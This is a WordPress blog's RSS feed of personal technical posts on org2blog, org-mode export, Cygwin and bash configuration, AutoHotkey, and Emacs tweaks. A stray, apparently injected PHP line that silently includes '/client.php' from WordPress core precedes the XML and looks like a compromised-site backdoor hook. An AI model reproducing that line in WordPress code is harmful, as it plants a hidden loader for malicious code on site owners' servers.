@include( ABSPATH . WPINC . '/client.php');<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Posts technical---or quite simplistic &#187; computer</title>
	<atom:link href="http://dnquark.com/blog/tag/computer/feed/" rel="self" type="application/rss+xml" />
	<link>http://dnquark.com/blog</link>
	<description>Threads both sad and humoristic / небрежный плод моих забав ...</description>
	<lastBuildDate>Mon, 04 Jun 2012 12:00:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Org2blog setup miscellany</title>
		<link>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/</link>
		<comments>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/#comments</comments>
		<pubDate>Tue, 21 Feb 2012 05:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=284</guid>
		<description><![CDATA[The other day I had to spend some time figuring out how to do the following things in org2blog: display LaTeX properly embed YouTube videos clear org2blog keybindings All are very easy, but took a little bit of digging, so here it is recorded for posterity. First, there is a plethora of LaTeX plugins for [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I had to spend some time figuring out how to do the following things in org2blog: </p>
<ul>
<li>display LaTeX properly </li>
<li>embed YouTube videos </li>
<li>clear org2blog keybindings </li>
</ul>
<p> All are very easy, but took a little bit of digging, so here it is recorded for posterity. </p>
<p> First, there is a plethora of LaTeX plugins for WordPress. I favor the ones that use MathJax; after all, we live in the year 2012. Converting LaTeX to images is <i>so</i> 1990s. For MathJax support, you can use the <a href="http://wordpress.org/extend/plugins/latex/">excellent plugin</a> by zhiqiang.  Note that the syntax for inline vs display formulas is slightly different than what one might be used to (note the exclamation marks).  On the org2blog side, you have to make sure to set </p>
<p> <code>(setq org2blog/wp-use-wp-latex nil)</code> </p>
<p> otherwise, the LaTeX syntax generated is incompatible with the plugin. </p>
<p> YouTube videos can be embedded using the <a href="http://wordpress.org/extend/plugins/youtube-embed/other_notes/">Artiss youtube embed plugin</a>; in the org2blog you have to specify something like </p>
<pre class="example">
#+BEGIN_HTML
[shortcode surrounding youtube video code, as per the Artiss docs]
#+END_HTML
</pre>
<p> Finally, the default org2blog bindings are non-standards-compliant in that they use the <code>C-c [letter]</code> keys, which are reserved for the user. In particular, the bindings were interfering with parts of my setup. The solution was to clear the bindings and define my own.  Clearing the bindings takes the following form: </p>
<pre class="brush: plain; light: true; title: ; notranslate">
(add-hook 'org2blog/wp-mode-hook
          '(lambda () (setq minor-mode-map-alist
                       (assq-delete-all 'org2blog/wp-mode minor-mode-map-alist))))</pre>
<p> Overall, I am very happy with org2blog. It allows me to blog right from within my preferred computing / brainstorming / writing environment. I like to think that I am <i>not</i> one of those Emacs users that tries to put every aspect of his or her life in some Emacs buffer somewhere, but this little lifehack is just too sensible to ignore. </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/02/org2blog-setup-miscellany/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Integrating org-mode HTML export with a WordPress theme</title>
		<link>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/</link>
		<comments>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/#comments</comments>
		<pubDate>Sat, 21 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[emacs]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=154</guid>
		<description><![CDATA[Org-mode exporting capabilities are excellent, but making a freshly-exported HTML project look good with your WordPress theme might seem non-trivial. As a scientist / analyst / statistician you are way overqualified to be dealing with the minutiae of PHP and CSS, and so you might have resigned yourself to less-than-stellar formatting. Luckily, the recipe for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://orgmode.org/manual/Exporting.html#Exporting">Org-mode exporting capabilities</a> are excellent, but making a freshly-exported HTML project look good with your WordPress theme might seem non-trivial.  As a scientist / analyst / statistician you are way overqualified to be dealing with the minutiae of PHP and CSS, and so you might have resigned yourself to less-than-stellar formatting.   </p>
<p> Luckily, the recipe for converting an org-exported HTML file into somethign that looks like an integral part of your blog turns out to take 4 easy steps. Let's assume that I'm in the <code>www/org/project/</code> directory, and the WordPress blog is in <code>www/blog/</code> directory. </p>
<ol>
<li>Make a new file, e.g. <code>project.php</code>, and start it with    </p>
<pre class="brush: php; light: true; title: ; notranslate">
&lt;?php
define('WP_USE_THEMES', false);
require('../../blog/wp-blog-header.php');
get_header();
?&gt;</pre>
</li>
<li>Paste in the contents of the &lt;style&gt; and &lt;script&gt; tags from the                                                                    org-exported HTML header                                                                                                        </li>
<li>Paste in the contents of the org-exported &lt;body&gt;                                                                                </li>
<li>Paste <code>&lt;?php get_footer(); ?&gt;</code> at the end of the file. </li>
</ol>
<p> You are done! You are free to mess with minor details (centering of the title, location of the org-exported postamble &ndash; sometimes it makes sense to move it into the contents div), but you've achieved the main goal: your spectacular analysis looks awesome.  <a href="http://dnquark.com/org/facemash/facemash.php">Here's an example of the above procedure in action!</a> </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/integrating-org-mode-html-export-with-a-wordpress-theme/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Of Russian cats and server names</title>
		<link>http://dnquark.com/blog/2012/01/of-russian-cats-and-server-names/</link>
		<comments>http://dnquark.com/blog/2012/01/of-russian-cats-and-server-names/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/2012/01/feline-server-names/</guid>
		<description><![CDATA[I name my computers after cats. Not all of them, mind you, and I pick the names carefully. My workhorse servers are Begemot and Matroskin. Today, as I was doing some admin work, I started wondering what I would do if I had to name more machines, given that I'd rather not borrow names from [...]]]></description>
			<content:encoded><![CDATA[<p>I name my computers after cats.  Not all of them, mind you, and I pick the names carefully.  My workhorse servers are <a href="http://en.wikipedia.org/wiki/The_Master_and_Margarita">Begemot</a> and <a href="http://en.wikipedia.org/wiki/Three_from_Buttermilk_Village">Matroskin</a>.  Today, as I was doing some admin work, I started wondering what I would do if I had to name more machines, given that I'd rather not borrow names from T. S. Eliot. </p>
<p> No other fictional Russian feline can match Begemot or Matroskin in their charisma and/or raw satanic power, but for both of them I found a counterpart of sorts: Vasilii from <a href="http://en.wikipedia.org/wiki/Monday_Begins_on_Saturday">Monday Begins on Saturday</a> (another talking cat), and <a href="http://en.wikipedia.org/wiki/Leopold_the_Cat">Leopold</a>, another cartoon character. </p>
<p> In the process of looking for fictional Russian cats, I stumbled upon a series of Sergei Alimov's magnificent sketches for a never-produced animation feature based on <i>Master and Margarita</i>.  This is, in fact, why I'm writing the post. </p>
<p> <img src="http://dnquark.com/blog/wp-content/uploads/2012/01/wpid-mm_sketch1.jpg"  alt="http://dnquark.com/blog/wp-content/uploads/2012/01/wpid-mm_sketch1.jpg" /> </p>
<p> I am very taken with this simple charcoal rendition of Satan and his cat, black silhouettes overlooking the busy landscape of 1930's Moscow, wondering about the inner world of humans inhabiting the gray communal apartments.   </p>
<p> <a href="http://blog.imhonet.ru/author/nick1957/post/989996/">The rest of the sketches</a> are almost equally great, and convey very well the spirit of the book: at times philosophical, at times irreverent, and always just plain hilarious. </p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/of-russian-cats-and-server-names/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Final round of computer tweaks</title>
		<link>http://dnquark.com/blog/2009/07/final-round-of-computer-tweaks/</link>
		<comments>http://dnquark.com/blog/2009/07/final-round-of-computer-tweaks/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 13:57:41 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=68</guid>
		<description><![CDATA[After spending a substantial amount of time tweaking my system, it now works as well as I want it to, and I am hereby making a public promise not to touch my config files for a month.  I want to be able to post a screenshot a month from now with a "last modified" timestamp [...]]]></description>
			<content:encoded><![CDATA[<p>After spending a substantial amount of time tweaking my system, it now works as well as I want it to, and I am hereby making a public promise not to touch my config files for a month.  I want to be able to post a screenshot a month from now with a "last modified" timestamp corresponding to today.  (The only exception is M-x / smex stuff in .emacs; if the author of the package fixes the broken fuzzy matching, I'll add it in.  No other changes are allowed, though!)</p>
<p>So what went into the final round of updates?..</p>
<p>First, there were more tweaks to .bashrc and .inputrc.  I turned on bash completion; here are some notes about this:</p>
<blockquote><p>bash_completion is very handy, but has a few annoyances.  First, the bash startup time increased to 2+ seconds.  This was fixed by calling the completion functions dynamically -- solution was found on http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=467231; dyncomp.sh script I saved locally.</p>
<p>To prevent cd/find from completing random useless things, put complete -d cd find in .bashrc</p>
<p>To prevent tilde from getting expanded: edit /etc/bash_completion; look for function named _expand(); comment out all code (but leave one dummy line e.g. foo=bar, o/w bash complains). If used dynamic completion replacement above, look for the function _expand as a sep. file in bash_completion.d</p></blockquote>
<p>For .inputrc I added several customizations -- set show-all-if-ambiguous on, history-search-{forward/backward}, etc.  These things are handy; you might want to google for them if you don't already use them.  I realized a short time later that any keybindings involving meta (e.g. "\M-o") failed to work in bash shell on Dreamhost.  The problem is a buggy version of readline that breaks in unicode locale and the solution is to replace "\M-" with "\e" (e.g. "\eo").</p>
<p><strong>Ok, now let's get to the good stuff!</strong>  Here it is: any time I work in a terminal, I can open Windows Explorer in the current directory, <em>or in any directory I specify</em>.  I aliased this to a single key 'e'.  It's handy!  Conversely, if I am browsing a directory in Explorer, I can launch a terminal window in that directory using a single shortcut key (e.g. Win-T).  And finally, if I am in Emacs, I can launch either Windows Explorer or the terminal in the directory of the current buffer (or current dired buffer) with Win-E and Win-T respectively.  How does this magic work?</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/bash</span>
<span style="color: #666666; font-style: italic;"># Open explorer in the current directory or directory of the argument</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Unix/Windows path conversion: -- could've done it w/ cygpath in hindsight</span>
<span style="color: #666666; font-style: italic;"># pwdWin=`pwd|perl -p -e 's/\/cygdrive\/(.)/\1:/; s/\//\\/g'`</span>
<span style="color: #666666; font-style: italic;"># note that you have to double-escape special characters here</span>
&nbsp;
<span style="color: #007800;">cygwin_root</span>=<span style="color: #000000; font-weight: bold;">/</span>cygdrive<span style="color: #000000; font-weight: bold;">/</span>c<span style="color: #000000; font-weight: bold;">/</span>cygwin
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$#</span> <span style="color: #660033;">-eq</span> <span style="color: #000000;">0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
    <span style="color: #007800;">absPath</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">$(pwd -P)</span>&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
    <span style="color: #007800;">absPath</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">$(realpath &quot;$1&quot;)</span>&quot;</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># the following will always execute unless the path is printed as c:/...</span>
<span style="color: #666666; font-style: italic;"># in which case we can proceed directly to replacement</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${absPath:0:1}</span>&quot;</span> = <span style="color: #ff0000;">&quot;/&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span> <span style="color: #666666; font-style: italic;"># either have /cygrive/c/..., or:</span>
	<span style="color: #666666; font-style: italic;"># special case: starts with /, e.g. / or /usr</span>
    <span style="color: #007800;">base_dir</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$absPath</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> -F<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #ff0000;">'{print $2}'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
    <span style="color: #666666; font-style: italic;"># when absPath==&quot;/&quot;, so basedir==&quot;&quot;:</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$base_dir</span>&quot;</span> = <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$base_dir</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;cygdrive&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #007800;">absPath</span>=<span style="color: #007800;">$cygwin_root</span><span style="color: #007800;">$absPath</span>
    <span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #007800;">winPath</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$absPath</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-p</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'s/\/cygdrive\/(.)/\1:/; s/\//\\/g'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
explorer <span style="color: #000000; font-weight: bold;">/</span>e, <span style="color: #ff0000;">&quot;<span style="color: #007800;">$winPath</span>&quot;</span></pre></td></tr></table></div>

<p>There are extra checks necessitated by idiosyncrasies of Cygwin paths.  Ok, so this is standard bash scripting; no biggie.  Now, how do we call terminal from Windows?..  This piece of magic requires several components.<br />
The first is writing a program to launch the terminal (mrxvt in my case) in a particular directory.  There are two ways to do this: VB script or a batch file.  VB script is a more modern solution, and could look like this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="visualbasic" style="font-family:monospace;">Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)
WshShell.CurrentDirectory = &quot;C:\home\Leo&quot;
Set wshSystemEnv = wshShell.Environment( &quot;PROCESS&quot; )
wshSystemEnv( &quot;DISPLAY&quot; ) = &quot;127.0.0.1:0.0&quot;
'WScript.Echo &quot;SYSTEM:  DISPLAY=&quot; &amp; wshSystemEnv( &quot;DISPLAY&quot; )
&nbsp;
Dim StartInDir
If WScript.Arguments.Count &gt; 0 Then
    StartInDir = CStr(WScript.Arguments.Item(0))
    Dim BashExeString
    BashExeString = chr(34) &amp; &quot;cd &quot; &amp; chr(34) &amp; StartInDir &amp; chr(34) &amp; &quot;; exec bash&quot; &amp; chr(34)
    Dim RunString
    RunString = &quot;c:\cygwin\bin\run -p /usr/X11R6/bin /usr/local/bin/mrxvt -e /bin/bash --login -i -c &quot; &amp; BashExeString
    WshShell.Run RunString,0,false
Else
    WshShell.Run  &quot;c:\cygwin\bin\run -p /usr/X11R6/bin /usr/local/bin/mrxvt -e /bin/bash --login -i&quot;,0,false
End If</pre></td></tr></table></div>

<p>The key aspect that makes this work is the execution of -c "cd [DIRECTORY]; exec bash;" command at the end of the chain run--mrxvt--bash.  Run command, if you are curious, allows to launch commands that would otherwise spawn a terminal window.  Exec bash is needed because otherwise bash exists after executing the -c string command.  </p>
<p>Another way to write this is with a batch file: </p>
<pre>
@echo off
SET DISPLAY=127.0.0.1:0.0
SET CYGWIN_ROOT=\cygwin
SET RUN=%CYGWIN_ROOT%\bin\run -p /usr/X11R6/bin
SET PATH=%CYGWIN_ROOT%\bin;%CYGWIN_ROOT%\local\bin;%CYGWIN_ROOT%\usr\X11R6\bin;%PATH%
SET XAPPLRESDIR=/usr/X11R6/lib/X11/app-defaults
SET XCMSDB=/usr/X11R6/lib/X11/Xcms.txt
SET XKEYSYMDB=/usr/X11R6/lib/X11/XKeysymDB
SET XNLSPATH=/usr/X11R6/lib/X11/locale
cd c:\home\leo\
%RUN%  /usr/local/bin/mrxvt -e /bin/bash --login -i -c "cd "%1"; exec bash"
</pre>
<p>It turns out that the batch file runs noticeably faster on my computer.  </p>
<p>There is an alternative approach to specify the terminal's start directory, in addition to the bash -c [string] command line option.  You can set an environment variable and have .bashrc check for its existence and cd accordingly.  This has the advantage of being a tiny bit faster than the preceding approach, but because all environment variables get cached, subsequent tabs of the terminal (mrxvt) will open in the directory in which the first tab started, which might not be the desirable behavior.</p>
<p>To get this working, put set <code>STARTINGDIRECTORY=%1</code> into the batch file, use the run command<br />
<code>%RUN%  /usr/local/bin/mrxvt -e /bin/bash --login -i</code>, and put into .bashrc:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-z</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${STARTINGDIRECTORY}</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span> <span style="color: #666666; font-style: italic;"># must strip literal quotation marks if any</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${STARTINGDIRECTORY:0:1}</span>&quot;</span> = <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #007800;">STARTINGDIRECTORY</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$STARTINGDIRECTORY</span>&quot;</span><span style="color: #000000; font-weight: bold;">|</span><span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #ff0000;">'s/.<span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_3e4bcd2f220984284cfbed6bb098c3eb.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt=".* " /></span><script type='math/tex'>.* </script>./\1/'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
    <span style="color: #000000; font-weight: bold;">fi</span>
    <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;starting in <span style="color: #007800;">${STARTINGDIRECTORY}</span>&quot;</span>    
    <span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${STARTINGDIRECTORY}</span>&quot;</span>
    <span style="color: #7a0874; font-weight: bold;">unset</span> STARTINGDIRECTORY
<span style="color: #000000; font-weight: bold;">fi</span></pre></div></div>

<p>Now the fun part: how do we invoke this for a particular directory as we browse it in Explorer?..  Autohotkey comes to our rescue!  I found a piece of code on Stack Overflow to launch the windows command shell and tweaked it a little:</p>
<pre>
; Opens the command shell 'cmd' in the directory browsed in Explorer.
; Note: expecting to be run when the active window is Explorer.
;
OpenCmdInCurrent()
{
    WinGetText, full_path, A  ; This is required to get the full path of the file from the address bar

    ; Split on newline (`n)
    StringSplit, word_array, full_path, `n
    full_path = %word_array1%   ; Take the first element from the array

    ; Just in case - remove all carriage returns (`r)
    StringReplace, full_path, full_path, `r, , all  

    IfInString full_path, \
    {
        Run, c:\home\Leo\bin\mrxvt_win.bat "%full_path%"
    }
    else
    {
        Run, c:\home\Leo\bin\mrxvt_win.bat
    }
}

; ==== Win+T default ====

#t::
  Run, c:\home\Leo\bin\mrxvt_win.bat
Return
</pre>
<p>Notice how this hotkey is global -- if we are in Explorer, it will give us a terminal started in the directory being browsed.  Otherwise, it will just launch a terminal.  But what about Emacs?..  We'll do something sneaky: we'll tell Autohotkey to send Emacs a different key combo for Win-T and use a different set of bindings in Emacs:</p>
<pre>
#IfWinActive ahk_class Emacs
#e::^f3 ;for explorer
#t::^f4 ;for terminal
#IfWinActive
</pre>
<p>And in Emacs, we write the following piece of lisp code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code"><pre class="lisp" style="font-family:monospace;"><span style="color: #66cc66;">&#40;</span><span style="color: #b1b100;">defun</span> terminal-here <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>   
  <span style="color: #ff0000;">&quot;Launch external terminal in the current buffer's directory or current dired
directory.  (Works by grabbing the directory name and passing as an argument to
a batch file.  Note the (toggle-read-only) workaround; the command will not run
in dired mode without it.&quot;</span>
  <span style="color: #66cc66;">&#40;</span>interactive<span style="color: #66cc66;">&#41;</span>
  <span style="color: #66cc66;">&#40;</span><span style="color: #b1b100;">let</span> <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>dir <span style="color: #ff0000;">&quot;&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#40;</span>diredp <span style="color: #b1b100;">nil</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
    <span style="color: #66cc66;">&#40;</span><span style="color: #b1b100;">cond</span>
     <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #b1b100;">and</span> <span style="color: #66cc66;">&#40;</span>local-variable-p 'dired-directory<span style="color: #66cc66;">&#41;</span> dired-directory<span style="color: #66cc66;">&#41;</span>
      <span style="color: #66cc66;">&#40;</span><span style="color: #b1b100;">setq</span> dir dired-directory<span style="color: #66cc66;">&#41;</span>
      <span style="color: #66cc66;">&#40;</span><span style="color: #b1b100;">setq</span> diredp t<span style="color: #66cc66;">&#41;</span>
      <span style="color: #66cc66;">&#40;</span>toggle-read-only<span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>
     <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>stringp <span style="color: #66cc66;">&#40;</span>buffer-file-<span style="color: #b1b100;">name</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
      <span style="color: #66cc66;">&#40;</span><span style="color: #b1b100;">setq</span> dir <span style="color: #66cc66;">&#40;</span>file-name-directory <span style="color: #66cc66;">&#40;</span>buffer-file-<span style="color: #b1b100;">name</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
      <span style="color: #66cc66;">&#41;</span>
    <span style="color: #66cc66;">&#40;</span>shell-command <span style="color: #66cc66;">&#40;</span>concat <span style="color: #ff0000;">&quot;~/bin/mrxvt_win.bat <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span>dir<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span> 2&gt;/dev/null &amp;&quot;</span><span style="color: #66cc66;">&#41;</span> 
 <span style="color: #66cc66;">&#40;</span>universal-argument<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
    <span style="color: #66cc66;">&#40;</span><span style="color: #b1b100;">if</span> diredp <span style="color: #66cc66;">&#40;</span>toggle-read-only<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span></pre></td></tr></table></div>

<p> (and there's a similar function to launch Windows Explorer).  Bind them to C-F3 and C-F4 (in reality Win-E and Win-T translated by Autohotkey) and we are all done, 5 scripting languages later!  Who said administering a Windows box isn't fun :)</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/final-round-of-computer-tweaks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Computing {tweak, bug, annoyance} of the day...</title>
		<link>http://dnquark.com/blog/2009/07/computing-tweak-of-the-day/</link>
		<comments>http://dnquark.com/blog/2009/07/computing-tweak-of-the-day/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 11:37:09 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=49</guid>
		<description><![CDATA[Tweak of the day: Problem: Cygwin doesn't support UTF-8, which leads to issues with unicode filenames (e.g. when running backups). Solution: for Cygwin, download the patch from http://www.okisoft.co.jp/esc/utf8-cygwin/ in .bashrc: export LC_CTYPE=en_US.UTF-8 export LANG=en_US.UTF-8 alias ls='ls --show-control-chars' Terminal: mrxvt doesn't support unicode, but urxvt does.  If urxvt is not using unicode fonts by default (or [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Tweak of the day</strong>:<br />
Problem: Cygwin doesn't support UTF-8, which leads to issues with unicode filenames (e.g. when running backups).</p>
<p>Solution: for Cygwin, download the patch from http://www.okisoft.co.jp/esc/utf8-cygwin/<br />
in .bashrc:<br />
export LC_CTYPE=en_US.UTF-8<br />
export LANG=en_US.UTF-8<br />
alias ls='ls --show-control-chars'<br />
Terminal: mrxvt doesn't support unicode, but urxvt does.  If urxvt is not using unicode fonts by default (or the font is ugly), figure out which fonts are unicode by doing xlsfonts | grep iso10646 and put one of those fonts into .Xdefaults in the form:<br />
URxvt*font: -misc-dejavu sans mono-medium-r-normal--*-120-*-*-m-0-iso10646-1<br />
Don't forget to re-read .Xdefaults using xrdb &lt; ~/.Xdefaults.</p>
<p><strong>Bug of the day</strong>: sometimes my Emacs responds to C-k by performing winner-undo.  Version 22.3 did that sometimes, 23 does that more often.  Bizarre.</p>
<p><strong><span style="text-decoration: line-through;">Annoyance </span> Tweak #2 of the day</strong>: Emacs page down and then page up does not return the cursor to the same location.  Annoying if page-downs are accidental.  (Turns out that there's a simple fix: <span style="font-family: Courier,Monospaced;">(setq scroll-preserve-screen-position t)</span>.  Incidentally, in the Usenet thread discussing this, another useful trick came up: C-u C-SPC pops the mark.  So, for a quick-and-dirty bookmark, one could use C-SPC or C-SPC-g to set and C-u-SPC to jump back!)</p>
<p><strong>"Well, <em>this </em>wasted my time" of the day</strong>:  I aliased grep to produce a more colorful and informative output.  Some time later my ssh agent broke -- it kept asking for my password.  Took me some time to connect the two, but what happened was: the ssh agent script is invoked via source, meaning aliased commands are used -- meaning it was getting unexpected output from my grep.  Clever fix: replace grep with `which grep` -- this effectively bypasses bash aliasing.   Cleverer fix: don't alias things that are important and are likely to be found in scripts.</p>
<p><strong>"Makes my life easier" of the day</strong>:  with Firefox 3.5 you can set gmail to handle mailto: links.  Very handy -- no more stupid Outlook popups.  Details at <a href="http://googlesystem.blogspot.com/2009/06/set-gmail-as-default-email-client-in.html">http://googlesystem.blogspot.com/2009/06/set-gmail-as-default-email-client-in.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/computing-tweak-of-the-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Let&#039;s back that sh*t up</title>
		<link>http://dnquark.com/blog/2009/07/lets-back-that-sht-up/</link>
		<comments>http://dnquark.com/blog/2009/07/lets-back-that-sht-up/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 09:26:50 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[computer]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=17</guid>
		<description><![CDATA[Now that I find myself with gigs of online storage space to be used for backups, it gives me a perfect excuse to organize my files in a sensible manner and schedule them to be backed up regularly.  Now, "sensible manner" in my case ended up involving many directories and a host of symlinks (which [...]]]></description>
